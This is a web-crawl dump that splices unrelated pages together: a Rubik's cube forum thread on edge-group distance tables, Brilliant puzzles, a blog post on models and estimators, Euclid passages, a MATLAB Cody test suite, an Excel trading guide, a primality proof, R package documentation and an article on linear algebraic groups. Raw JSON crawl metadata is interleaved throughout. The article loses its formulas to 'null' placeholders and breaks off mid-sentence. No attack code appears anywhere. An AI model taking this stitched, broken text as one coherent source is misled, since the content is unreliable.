the idea of looking for a 4D distribution instead of the 2D distribution you calculated. The 4D distribution would be the distance from the identity (I), the pons asinorum (P), the superflip (E) and the pons asinorum+superflip (PE). So that each cube position would have a choice of 4 routes whichever is closest to it...\n\nThe cosets corresponding to this 4 positions have all been calculated by Tom Rokiki here:\nhttp://cubezzz.homelinux.org/drupal/?q=node/view/44\n\nand they can all be solved in 22 moves except 5 positions [up to symmetry] in the superflip coset which need 24 moves. However those 5 positions might be searched exhaustively to prove that they can be avoided all the time.\n\nWith 4 routes to choose from for each cube position we might have a better chance to have a distance < 13.\n\nThinking however about your argument about the 90% at depth 13 and how that would make you expect about 81% at distance of 13 from both the solved edges and the antipode edges, I came to realize that even with 4 routes to choose from I would still expect 65% to be at distance of 13 from all of the 4 starting points...\n\nIf 4 routes are not enough then let's add more. The H-symmetric positions at Mike's website http://www.math.ucf.edu/~reid/Rubik/h_symmetric.html seem to be good condidates for such an attempt.\n\nSo instead of 4 routes I would have 24 routes to choose from... If this does not lower Y to under 13 I do not know what else does!;)\n\nOne thing is sure is that the more \"independent\" [Do not ask me what I mean by independent because I do not know] routes we add, the more better chance we have of lowering Y...\n\nTo conduct such a culculation, I need to create 20 [actually only 8 thanks to symmetry] more tables, similar to what Tom Rokiki did for the 4 points [I,E,P,EP]. If Tom Rokiki is reading this, I would be very grateful if you can share your code with which you did the 44millions calculation.\n\nI would also need to produce a 24D distribution similar to what you did for the 2D distribution. If you can share with me your code I will also be very garteful.\n\nJerry Brayn says here\n\nthat if you already know the 1D distribution from Start then you can find the distance of any position to a different position that has some symmetry relation to Start thanks to conjugacy... I did not fully understand his argument but it sounds like the 24D distribution I am looking for can be deducted from the 1D distribution somehow...\n\nThanks a lot!\n\nI was using that idea to calculate my distance table.\n\nLet x be a position in the edge group. Let Z be the antipode. Then x'*Z takes x to the antipode Z. So you just look up the position x'*Z in the edge group distance table to get the distance from x to Z.\n\nI generated the distance table for the edge group in December 2005, to provide independent verification of Rokicki's result. I used that data to do my calculation. Since my data table is over to 18GB (with 1GB defined as 1000^3 bytes), I only loaded a small portion of it into memory. My data consists of 76 files for even permutations and 76 files for odd permutations. So I loaded 6 of the even permutation files into memory. Then I looked for positions from a subset of this space for which x'*Z was also in the space. This avoided the need to perform a random-access disk file lookup to get the distance of x'*Z. By limiting the amount of positions it tried, it only took a few minutes to run and get results for over 700,000 positions.\n\nI figured this idea could be extended to generate the whole 2-dimensional table. This would not extend well to looking up distances to a set of 24 positions, since it is very unlikely to have all 24 computed positions to be within the subset of the table loaded into memory. Perhaps performing random access disk file lookup would be what you would have to do, but that might be very slow because of the total number of positions being so large.\n\nOf course, an actual 24-dimensional table would not be practical to generate. For each position, you would probably want to just find the distance to the closest of the 24 positions. Or even simpler, just get the distance to each of the 24 positions until you find one that's less than or equal to 12, if you're satisfied with merely getting that result.\n\nI further note that the 24 H-symmetric positions (which include the four M-symmetric positions) on Reid's site are cube group positions, not edge group positions. I believe these correspond to only 8 different positions within the edge group (two 6H positions and two 6H+Superflip positions, in addition to the four M-symmetric positions). I think it is rather questionable if 8 edge group positions would be enough. I also note that just over one-fourth of the edge group positions are 12q or less from the solved position, so it would take a minimum of four fixed positions to have any chance of having every edge group position to be within 12q of at least one of the fixed positions, assuming very little overlap in \"coverage\" by each of the four fixed positions. I believe generally you will have rather significant overlap in the positions \"covered\" by any pair of the fixed positions.\n\nHi Bruce,"
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https://brilliant.org/weekly-problems/2017-11-20/basic/?problem=desert-mirage | [
"# Problems of the Week\n\nContribute a problem\n\n# 2017-11-20 Basic\n\nA mirage is a frequent optical occurrence for desert travelers, which appears as a distant body of water. Which of the following best explains this phenomenon?",
null,
"Note: The mirage featured in this picture is known as an inferior mirage.\n\nAlice arranges 3 coins in a row. You cannot see them, and need to guess the sequence—heads or tails—of the 3 coins. You make three guesses, and Alice responds as follows:",
null,
"Guess $\\hspace{1.4cm}$ Response H H H \"You got only 1 coin correct.\" T T H \"You got only 1 coin correct.\" H T T \"You got only 1 coin correct.\"\n\nWhat is the correct sequence?\n\nI'm thinking of a number.\n\n• It is a two-digit positive integer.\n• The sum of its digits is 10.\n• Subtracting 72 from the number swaps its two digits.\n\nWhat is the number?\n\n10 identical circles are stacked in a pyramid shape, where $A$ and $B$ are centers of two of the circles. A line is drawn through $A$ and $B,$ dividing the figure into 2 areas: red on the left and and blue on the right.\n\nWhat is the ratio of the red area to the blue area?",
null,
"A kite is divided into four regions by two line segments that connect the midpoints of opposite sides. Is the total blue area equal to the total orange area?",
null,
"×"
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"https://ds055uzetaobb.cloudfront.net/brioche/uploads/0HmoYmSV6z-2671845245_9ebfd6be7c_b.jpg",
null,
"https://ds055uzetaobb.cloudfront.net/brioche/uploads/4zABnIKomH-coins.svg",
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"https://ds055uzetaobb.cloudfront.net/brioche/uploads/704Kgmuxsc-group-11.svg",
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"https://ds055uzetaobb.cloudfront.net/brioche/uploads/xhx6Q1ZmLN-kites.svg",
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http://rex-analytics.com/models-estimators-algorithms/ | [
"# Models, Estimators and Algorithms\n\nI think the differences between a model, an estimation method and an algorithm are not always well understood. Identifying differences helps you understand what your choices are in any given situation. Once you know your choices you can make a decision rather than defaulting to the familiar.\n\nAn algorithm is a set of predefined steps. Making a cup of coffee can be defined as an algorithm, for example. Algorithms can be nested within each other to create complex and useful pieces of analysis. Gradient descent is an algorithm for finding the minima of a function computationally. Newton-Raphson does the same thing but slower, stochastic gradient descent does it faster.\n\nAn estimation method is the manner in which your model is estimated (often with an algorithm). To take a simple linear regression model, there are a number of ways you can estimate it:\n\n• You can estimate using the ordinary least squares closed form solution (it’s just an algebraic identity). After that’s done, there’s a whole suite of econometric techniques to evaluate and improve your model.\n• You can estimate it using maximum likelihood: you calculate the negative likelihood and then you use a computational algorithm like gradient descent to find the minima. The econometric techniques are pretty similar to the closed form solution, though there are some differences.\n• You can estimate a regression model using machine learning techniques: divide your sample into training, test and validation sets; estimate by whichever algorithm you like best. Note that in this case, this is essentially a utilisation of maximum likelihood. However, machine learning has a slightly different value system to econometrics with a different set of cultural beliefs on what makes “a good model.” That means the evaluation techniques used are often different (but with plenty of crossover).\n\nThe model is the thing you’re estimating using your algorithms and your estimation methods. It’s the decisions you make when you decide if Y has a linear relationship with X, or which variables (features) to include and what functional form your model has."
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https://books.google.ie/books?id=r3QAAAAAMAAJ&q=equiangular&dq=editions:UOM39015065618988&lr=&output=html_text&source=gbs_word_cloud_r&cad=5 | [
"### What people are saying -Write a review\n\nWe haven't found any reviews in the usual places.\n\n### Popular passages\n\nPage 474 - The circumference of every circle is supposed to be divided into 360 equal parts, called degrees ; and each degree into 60 equal parts, called minutes ; and each minute into 60 equal parts, called seconds ; and these into thirds, &c.\nPage 170 - If two triangles have one angle of the one equal to one angle of the other and the sides about these equal angles proportional, the triangles are similar.\nPage 81 - THE straight line drawn at right angles to the diameter of a circle, from the extremity of...\nPage 105 - DEF are likewise equal (13. i.) to two right angles ; therefore the angles AKB, AMB are equal to the angles DEG, DEF, of which AKB is equal to DEG ; wherefore the remaining angle AMB is equal to the remaining angle DEF.\nPage 167 - AC the same multiple of AD, that AB is of the part which is to be cut off from it : join BC, and draw DE parallel to it : then AE is the part required to be cut off.\nPage 10 - When a straight line standing on another straight line makes the adjacent angles equal to one another, each of the angles is called a right angle; and the straight line which stands on the other is called a perpendicular to it.\nPage 62 - AB be the given straight line ; it is required to divide it into two parts, so that the rectangle contained by the whole, and one of the parts, shall be equal to the square of the other part.\nPage 112 - To describe an equilateral and equiangular pentagon about a given circle. • Let ABCDE be the given circle; it is required to describe an equilateral and equiangular pentagon about the circle ABCDE. Let the angles of a pentagon, inscribed in the circle...\nPage 200 - If two triangles have two angles of the one equal to two angles of the other, each to each, and one side equal to one side, viz. either the sides adjacent to the equal...\nPage 38 - F, which is the common vertex of the triangles ; that is, together with four right angles. Therefore all the angles of the figure, together with four right angles, are equal to twice as many right angles as the figure has sides."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.84756136,"math_prob":0.9968572,"size":5472,"snap":"2022-40-2023-06","text_gpt3_token_len":1368,"char_repetition_ratio":0.1779444,"word_repetition_ratio":0.45921174,"special_character_ratio":0.25420323,"punctuation_ratio":0.16351119,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.999164,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-05T02:25:59Z\",\"WARC-Record-ID\":\"<urn:uuid:e7817db6-9ac8-42e6-962b-2007e19a2292>\",\"Content-Length\":\"53073\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cecbede4-34e2-47d3-a448-7a5a23f3d4c4>\",\"WARC-Concurrent-To\":\"<urn:uuid:e03bdbe4-53f5-483c-a90f-4387f1b13069>\",\"WARC-IP-Address\":\"142.251.163.100\",\"WARC-Target-URI\":\"https://books.google.ie/books?id=r3QAAAAAMAAJ&q=equiangular&dq=editions:UOM39015065618988&lr=&output=html_text&source=gbs_word_cloud_r&cad=5\",\"WARC-Payload-Digest\":\"sha1:ZZS6NMSFBKEF24EVQIKMZKV7YTD2SXDT\",\"WARC-Block-Digest\":\"sha1:R3CIKDAOCM7K62FQ2AMUT62M6ZQBCF7K\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500158.5_warc_CC-MAIN-20230205000727-20230205030727-00490.warc.gz\"}"} |
https://fr.mathworks.com/matlabcentral/cody/problems/44668-day-counter-function/solutions/1543702 | [
"Cody\n\n# Problem 44668. Day counter function\n\nSolution 1543702\n\nSubmitted on 30 May 2018 by J-G van der Toorn\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\nyear = 1902; foms_correct = 2; assert(isequal(day_counter( year ),foms_correct))\n\nans = 2\n\n2 Pass\nyear = 2002; foms_correct = 2; assert(isequal(day_counter( year ),foms_correct))\n\nans = 2\n\n3 Pass\nyear = 1996; foms_correct = 3; assert(isequal(day_counter( year ),foms_correct))\n\nans = 3\n\n4 Pass\nyear = 1885; foms_correct = 1; assert(isequal(day_counter( year ),foms_correct))\n\nans = 1"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.5590233,"math_prob":0.98686236,"size":585,"snap":"2019-35-2019-39","text_gpt3_token_len":184,"char_repetition_ratio":0.1858864,"word_repetition_ratio":0.16470589,"special_character_ratio":0.35213676,"punctuation_ratio":0.12903225,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97899795,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-22T11:56:22Z\",\"WARC-Record-ID\":\"<urn:uuid:d7df6034-8ad8-4ba3-85ca-ebd8dd80528d>\",\"Content-Length\":\"73009\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:050d1010-9a21-4244-8026-30387a0fc4be>\",\"WARC-Concurrent-To\":\"<urn:uuid:18893b96-3125-41e1-b33b-c8bfa4bf997a>\",\"WARC-IP-Address\":\"23.48.45.75\",\"WARC-Target-URI\":\"https://fr.mathworks.com/matlabcentral/cody/problems/44668-day-counter-function/solutions/1543702\",\"WARC-Payload-Digest\":\"sha1:EH7CEJMJ747QAZCSOAXO4ACQ45WV5GAH\",\"WARC-Block-Digest\":\"sha1:MGOOL2GBLDEGD3XRPI5LLGTWJ4WRRC4L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514575513.97_warc_CC-MAIN-20190922114839-20190922140839-00521.warc.gz\"}"} |
https://rdrr.io/cran/tensr/man/sample_sig.html | [
"# sample_sig: Update for total variation parameter in 'equi_mcmc'. In tensr: Covariance Inference and Decompositions for Tensor Datasets\n\n## Description\n\nSamples from the square root of an inverse-gamma.\n\n## Usage\n\n `1` ```sample_sig(X, phi_inv) ```\n\n## Arguments\n\n `X` An array. The tensor data. `phi_inv` A list of the current values of inverse of the lower-triangular Cholesky square root of the the component covariance matrices. This is equivalent to the transpose of the upper-triangular Cholesky square root of the inverse component covariance matrices. `phi_inv[[i]]` is a lower triangluar matrix where `solve(phi_inv[[i]]) %*% t(solve(phi_inv[[i]]))` is the current estimate of the ith component covariance matrix.\n\n## Details\n\nThis function provides a Gibbs update for the total variation parameter from the MCMC implemented in `equi_mcmc`. This corresponds to the square root of an inverse-gamma distributed random variable whose parameters depend on the data and the component covariance matrices. Roughly, this is the update for the standard deviation, not the variance.\n\n## Value\n\nA numeric. The update for the total variation parameter in the MCMC implemented in `equi_bayes`.\n\nDavid Gerard.\n\n## References\n\nGerard, D., & Hoff, P. (2015). Equivariant minimax dominators of the MLE in the array normal model. Journal of Multivariate Analysis, 137, 32-49. https://doi.org/10.1016/j.jmva.2015.01.020 http://arxiv.org/pdf/1408.0424.pdf\n\n`equi_mcmc` for a Gibbs sampler where this function is used."
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.59371996,"math_prob":0.9273574,"size":1299,"snap":"2023-14-2023-23","text_gpt3_token_len":314,"char_repetition_ratio":0.114285715,"word_repetition_ratio":0.04278075,"special_character_ratio":0.22632794,"punctuation_ratio":0.15789473,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9961819,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-03-24T06:23:32Z\",\"WARC-Record-ID\":\"<urn:uuid:3ec243af-9428-4e60-927e-eff01ed56502>\",\"Content-Length\":\"43484\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0a75b96e-b58e-4acb-bed0-dd3da065cf8e>\",\"WARC-Concurrent-To\":\"<urn:uuid:c05320ce-e145-45dd-bf40-808587bd33be>\",\"WARC-IP-Address\":\"51.81.83.12\",\"WARC-Target-URI\":\"https://rdrr.io/cran/tensr/man/sample_sig.html\",\"WARC-Payload-Digest\":\"sha1:QCMIJRMTEVZELUW5XC6W7KDHZEXDMZFH\",\"WARC-Block-Digest\":\"sha1:SM5YI3KPXFZVJ5Y5N5AFENRGXWT3BILU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-14/CC-MAIN-2023-14_segments_1679296945248.28_warc_CC-MAIN-20230324051147-20230324081147-00351.warc.gz\"}"} |
https://exceltradingmodels.com/step-4-excel-trading-model-formulas/ | [
"Select Page\n\n# Step 4: Excel Trading Model Formulas\n\nThis is where the rubber hits the road — implementing your trading model strategy logic with Excel formulas.",
null,
"Excel gives you a rich formula language to create and measure relationships between data inputs and generate new data outputs. In our case, the data outputs are trading signals, shares, profits and losses, etc.\n\nThere are four major categories of Excel formulas you will use:\n\n• Comparison formulas, including if-then, greater than, equal to, less than, equals, not equals, etc.\n• Mathematical and statistical formulas, using Excel’s built in functions or math/stats add-ins.\n• Data population formulas, such as sums, averages, bins, standard deviations, etc.\n\nA major source of formulas in your Excel trading model will likely be technical indicators. You can create your indicators in Excel with formulas or you can use a technical indicator add-in kit such as TraderXL Pro that calculates them for you.\n\nEither way, you will need to link the results of these formulas together with more formulas. It’s this formula linking capability that lets you gradually build a full-fledged trading model in Excel.\n\nYour formula building sequence should mimic how you want the model to work.\n\nFirst, capture input data, including prices, economic data, position data, etc.\n\nSecond, calculate your metrics or indicators. These can be common technical indicators such as moving averages, RSI, or Bollinger Bands, or statistical indicators such as R-squared, regression, correlation, etc.\n\nThird, compare the indicator outputs to determine if they meet your trading signal conditions.\n\nSixth, publish the trading signals and position sizes to a trading dashboard for manual execution, or to your broker for automatic execution.\n\nSeventh, monitor your profit and loss figures and feed them back to the model, and incorporate into new trading signals, if applicable.\n\nRepeat the above as time progresses.\n\nYou will need to test all of your formulas for errors and omissions before executing actual trades. This requires you to create test cases with expected inputs and outputs. Test cases can be simple, such as a missing data field, or elaborate, such as a strings of inputs and formula results over time.\n\nNow that you have your trading model formulas implemented and tested, you are ready for Step 5 >",
null,
"# GET YOUR 5 FREE TECHNICAL INDICATORS\n\n## Success! Your indicators are on their way!",
null,
"# FREE GETTING STARTED GUIDE\n\n## Success! Your guide is on its way!",
null,
"",
null,
""
]
| [
null,
"https://exceltradingmodels.com/wp-content/uploads/2014/10/excel-trading-strategy-formulas.png",
null,
"https://exceltradingmodels.com/wp-content/uploads/2014/09/5TI_1_200.png",
null,
"https://exceltradingmodels.com/wp-content/uploads/2014/09/free-getting-started-guide-orange-2001.png",
null,
"https://exceltradingmodels.com/wp-content/uploads/2014/09/SCC_1_200.png",
null,
"https://exceltradingmodels.com/wp-content/uploads/2014/09/YFSA_1_200.png",
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]
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http://safecurves.cr.yp.to/proof/705320809625867.html | [
"Primality proof for n = 705320809625867:\n\nTake b = 2.\n\nb^(n-1) mod n = 1.\n\n50380057830419 is prime.\nb^((n-1)/50380057830419)-1 mod n = 16383, which is a unit, inverse 278632501977575.\n\n(50380057830419) divides n-1.\n\n(50380057830419)^2 > n.\n\nn is prime by Pocklington's theorem."
]
| [
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.67679596,"math_prob":0.99818456,"size":271,"snap":"2020-10-2020-16","text_gpt3_token_len":106,"char_repetition_ratio":0.18726592,"word_repetition_ratio":0.0,"special_character_ratio":0.63468635,"punctuation_ratio":0.18518518,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9971274,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-18T21:36:21Z\",\"WARC-Record-ID\":\"<urn:uuid:4add7e37-7713-40ce-9c4a-edca50196647>\",\"Content-Length\":\"533\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bbb3fd59-f2a3-4313-9c1c-d55bf4437eda>\",\"WARC-Concurrent-To\":\"<urn:uuid:e82d35d0-23e1-4076-b878-b94043a53050>\",\"WARC-IP-Address\":\"131.193.32.108\",\"WARC-Target-URI\":\"http://safecurves.cr.yp.to/proof/705320809625867.html\",\"WARC-Payload-Digest\":\"sha1:HPEZ4LMGHT7OJ7V4VIUCX7SWECEHBQ5I\",\"WARC-Block-Digest\":\"sha1:JCAZRWQ3KYSNQF74RII2LTRKHGVXTLAV\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875143815.23_warc_CC-MAIN-20200218210853-20200219000853-00120.warc.gz\"}"} |
http://www.expertsmind.com/questions/linked-lists-30193007.aspx | [
"## linked lists, Data Structure & Algorithms\n\nAssignment Help:\nalgorithms\n\n#### Explain dijkstra''s algorithm, Explain Dijkstra's algorithm Dijkstra's ...\n\nExplain Dijkstra's algorithm Dijkstra's algorithm: This problem is concerned with finding the least cost path from an originating node in a weighted graph to a destination node\n\n#### Four applications or implementation of the stack, Q. Write down any four ap...\n\nQ. Write down any four applications or implementation of the stack. Ans. (i) The Conversion of infix to postfix form (ii)\n\n#### Determine the types of java, Determine the types of JAVA Java has two p...\n\nDetermine the types of JAVA Java has two parts... 1. Core language -- variables, arrays, objects o Java Virtual Machine (JVM) runs the core language o Core language is\n\n#### Searching, Searching is the procedure of looking for something: Finding one...\n\nSearching is the procedure of looking for something: Finding one piece of data that has been stored inside a whole group of data. It is frequently the most time-consuming part of m\n\n#### Need it urgently, Write an assembly program to separate the number of posit...\n\nWrite an assembly program to separate the number of positive numbers and negative numbers from a given series of signed numbers.\n\n#### Explain the memory function method, Explain the Memory Function method ...\n\nExplain the Memory Function method The Memory Function method seeks to combine strengths of the top down and bottom-up approaches to solving problems with overlapping su\n\n#### Non-recursive algorithm to traverse a tree in preorder, Write the non-recur...\n\nWrite the non-recursive algorithm to traverse a tree in preorder. The Non- Recursive algorithm for preorder traversal is as follows: Initially push NULL onto stack and\n\n#### Array implementation of a queue, Since the stack is list of elements, the q...\n\nSince the stack is list of elements, the queue is also a list of elements. The stack & the queue differ just in the position where the elements may be added or deleted. Similar to\n\n#### The time and space complexities of an algorihm, Relation between the time a...\n\nRelation between the time and space complexities of an algorithm The examining of algorithm focuses on time complexity and space complexity. As compared to time analysis, the a",
null,
"",
null,
""
]
| [
null,
"http://www.expertsmind.com/questions/CaptchaImage.axd",
null,
"http://www.expertsmind.com/prostyles/images/3.png",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.88365084,"math_prob":0.9130027,"size":2099,"snap":"2019-43-2019-47","text_gpt3_token_len":436,"char_repetition_ratio":0.09260143,"word_repetition_ratio":0.0,"special_character_ratio":0.20676513,"punctuation_ratio":0.096858636,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96082383,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-12T05:33:58Z\",\"WARC-Record-ID\":\"<urn:uuid:37a0375f-ad3b-40b1-bedb-7f4ee46679f9>\",\"Content-Length\":\"63804\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d822e04b-5a0b-4060-b135-3a2bec7b1b80>\",\"WARC-Concurrent-To\":\"<urn:uuid:1a78e17d-52fe-403d-94e9-54fb8e255597>\",\"WARC-IP-Address\":\"198.38.85.49\",\"WARC-Target-URI\":\"http://www.expertsmind.com/questions/linked-lists-30193007.aspx\",\"WARC-Payload-Digest\":\"sha1:TA7C2WQPMAN4XVV22SQ72LT46HQGZJ4H\",\"WARC-Block-Digest\":\"sha1:XJMQ6SY4FKR6ALE4XLAG3FCIJ3DBSWNU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496664752.70_warc_CC-MAIN-20191112051214-20191112075214-00174.warc.gz\"}"} |
https://www.knowpia.com/knowpedia/Linear_algebraic_group | [
"BREAKING NEWS\n\nSummary\n\nIn mathematics, a linear algebraic group is a subgroup of the group of invertible $n\\times n$",
null,
"matrices (under matrix multiplication) that is defined by polynomial equations. An example is the orthogonal group, defined by the relation $M^{T}M=1$",
null,
"where $M^{T}$",
null,
"is the transpose of $M$",
null,
".\n\nMany Lie groups can be viewed as linear algebraic groups over the field of real or complex numbers. (For example, every compact Lie group can be regarded as a linear algebraic group over R (necessarily R-anisotropic and reductive), as can many noncompact groups such as the simple Lie group SL(n,R).) The simple Lie groups were classified by Wilhelm Killing and Élie Cartan in the 1880s and 1890s. At that time, no special use was made of the fact that the group structure can be defined by polynomials, that is, that these are algebraic groups. The founders of the theory of algebraic groups include Maurer, Chevalley, and Kolchin (1948). In the 1950s, Armand Borel constructed much of the theory of algebraic groups as it exists today.\n\nOne of the first uses for the theory was to define the Chevalley groups.\n\nExamples\n\nFor a positive integer $n$",
null,
", the general linear group $GL(n)$",
null,
"over a field $k$",
null,
", consisting of all invertible $n\\times n$",
null,
"matrices, is a linear algebraic group over $k$",
null,
". It contains the subgroups\n\n$U\\subset B\\subset GL(n)$",
null,
"consisting of matrices of the form\n\n$\\left({\\begin{array}{cccc}1&*&\\dots &*\\\\0&1&\\ddots &\\vdots \\\\\\vdots &\\ddots &\\ddots &*\\\\0&\\dots &0&1\\end{array}}\\right)$",
null,
"and $\\left({\\begin{array}{cccc}*&*&\\dots &*\\\\0&*&\\ddots &\\vdots \\\\\\vdots &\\ddots &\\ddots &*\\\\0&\\dots &0&*\\end{array}}\\right)$",
null,
".\n\nThe group $U$",
null,
"is an example of a unipotent linear algebraic group, the group $B$",
null,
"is an example of a solvable algebraic group called the Borel subgroup of $GL(n)$",
null,
". It is a consequence of the Lie-Kolchin theorem that any connected solvable subgroup of $\\mathrm {GL} (n)$",
null,
"is conjugated into $B$",
null,
". Any unipotent subgroup can be conjugated into $U$",
null,
".\n\nAnother algebraic subgroup of $\\mathrm {GL} (n)$",
null,
"is the special linear group $\\mathrm {SL} (n)$",
null,
"of matrices with determinant 1.\n\nThe group $GL(1)$",
null,
"is called the multiplicative group, usually denoted by $\\mathbf {G} _{\\mathrm {m} }$",
null,
". The group of $k$",
null,
"-points $\\mathbf {G} _{\\mathrm {m} }(k)$",
null,
"is the multiplicative group $k^{*}$",
null,
"of nonzero elements of the field $k$",
null,
". The additive group $\\mathbf {G} _{\\mathrm {a} }$",
null,
", whose $k$",
null,
"-points are isomorphic to the additive group of $k$",
null,
", can also be expressed as a matrix group, for example as the subgroup $U$",
null,
"in $\\mathrm {GL} (2)$",
null,
":\n\n${\\begin{pmatrix}1&*\\\\0&1\\end{pmatrix}}.$",
null,
"These two basic examples of commutative linear algebraic groups, the multiplicative and additive groups, behave very differently in terms of their linear representations (as algebraic groups). Every representation of the multiplicative group $\\mathbf {G} _{\\mathrm {m} }$",
null,
"is a direct sum of irreducible representations. (Its irreducible representations all have dimension 1, of the form $x\\mapsto x^{n}$",
null,
"for an integer $n$",
null,
".) By contrast, the only irreducible representation of the additive group $\\mathbf {G} _{\\mathrm {a} }$",
null,
"is the trivial representation. So every representation of $\\mathbf {G} _{\\mathrm {a} }$",
null,
"(such as the 2-dimensional representation above) is an iterated extension of trivial representations, not a direct sum (unless the representation is trivial). The structure theory of linear algebraic groups analyzes any linear algebraic group in terms of these two basic groups and their generalizations, tori and unipotent groups, as discussed below.\n\nDefinitions\n\nFor an algebraically closed field k, much of the structure of an algebraic variety X over k is encoded in its set X(k) of k-rational points, which allows an elementary definition of a linear algebraic group. First, define a function from the abstract group GL(n,k) to k to be regular if it can be written as a polynomial in the entries of an n×n matrix A and in 1/det(A), where det is the determinant. Then a linear algebraic group G over an algebraically closed field k is a subgroup G(k) of the abstract group GL(n,k) for some natural number n such that G(k) is defined by the vanishing of some set of regular functions.\n\nFor an arbitrary field k, algebraic varieties over k are defined as a special case of schemes over k. In that language, a linear algebraic group G over a field k is a smooth closed subgroup scheme of GL(n) over k for some natural number n. In particular, G is defined by the vanishing of some set of regular functions on GL(n) over k, and these functions must have the property that for every commutative k-algebra R, G(R) is a subgroup of the abstract group GL(n,R). (Thus an algebraic group G over k is not just the abstract group G(k), but rather the whole family of groups G(R) for commutative k-algebras R; this is the philosophy of describing a scheme by its functor of points.)\n\nIn either language, one has the notion of a homomorphism of linear algebraic groups. For example, when k is algebraically closed, a homomorphism from GGL(m) to HGL(n) is a homomorphism of abstract groups G(k) → H(k) which is defined by regular functions on G. This makes the linear algebraic groups over k into a category. In particular, this defines what it means for two linear algebraic groups to be isomorphic.\n\nIn the language of schemes, a linear algebraic group G over a field k is in particular a group scheme over k, meaning a scheme over k together with a k-point 1 ∈ G(k) and morphisms\n\n$m\\colon G\\times _{k}G\\to G,\\;i\\colon G\\to G$",
null,
"over k which satisfy the usual axioms for the multiplication and inverse maps in a group (associativity, identity, inverses). A linear algebraic group is also smooth and of finite type over k, and it is affine (as a scheme). Conversely, every affine group scheme G of finite type over a field k has a faithful representation into GL(n) over k for some n. An example is the embedding of the additive group Ga into GL(2), as mentioned above. As a result, one can think of linear algebraic groups either as matrix groups or, more abstractly, as smooth affine group schemes over a field. (Some authors use \"linear algebraic group\" to mean any affine group scheme of finite type over a field.)\n\nFor a full understanding of linear algebraic groups, one has to consider more general (non-smooth) group schemes. For example, let k be an algebraically closed field of characteristic p > 0. Then the homomorphism f: GmGm defined by xxp induces an isomorphism of abstract groups k* → k*, but f is not an isomorphism of algebraic groups (because x1/p is not a regular function). In the language of group schemes, there is a clearer reason why f is not an isomorphism: f is surjective, but it has nontrivial kernel, namely the group scheme μp of pth roots of unity. This issue does not arise in characteristic zero. Indeed, every group scheme of finite type over a field k of characteristic zero is smooth over k. A group scheme of finite type over any field k is smooth over k if and only if it is geometrically reduced, meaning that the base change $G_{\\overline {k}}$",
null,
"is reduced, where ${\\overline {k}}$",
null,
"is an algebraic closure of k.\n\nSince an affine scheme X is determined by its ring O(X) of regular functions, an affine group scheme G over a field k is determined by the ring O(G) with its structure of a Hopf algebra (coming from the multiplication and inverse maps on G). This gives an equivalence of categories (reversing arrows) between affine group schemes over k and commutative Hopf algebras over k. For example, the Hopf algebra corresponding to the multiplicative group Gm = GL(1) is the Laurent polynomial ring k[x, x−1], with comultiplication given by\n\n$x\\mapsto x\\otimes x.$",
null,
"Basic notions\n\nFor a linear algebraic group G over a field k, the identity component Go (the connected component containing the point 1) is a normal subgroup of finite index. So there is a group extension\n\n$1\\to G^{\\circ }\\to G\\to F\\to 1,$",
null,
"where F is a finite algebraic group. (For k algebraically closed, F can be identified with an abstract finite group.) Because of this, the study of algebraic groups mostly focuses on connected groups.\n\nVarious notions from abstract group theory can be extended to linear algebraic groups. It is straightforward to define what it means for a linear algebraic group to be commutative, nilpotent, or solvable, by analogy with the definitions in abstract group theory. For example, a linear algebraic group is solvable if it has a composition series of linear algebraic subgroups such that the quotient groups are commutative. Also, the normalizer, the center, and the centralizer of a closed subgroup H of a linear algebraic group G are naturally viewed as closed subgroup schemes of G. If they are smooth over k, then they are linear algebraic groups as defined above.\n\nOne may ask to what extent the properties of a connected linear algebraic group G over a field k are determined by the abstract group G(k). A useful result in this direction is that if the field k is perfect (for example, of characteristic zero), or if G is reductive (as defined below), then G is unirational over k. Therefore, if in addition k is infinite, the group G(k) is Zariski dense in G. For example, under the assumptions mentioned, G is commutative, nilpotent, or solvable if and only if G(k) has the corresponding property.\n\nThe assumption of connectedness cannot be omitted in these results. For example, let G be the group μ3GL(1) of 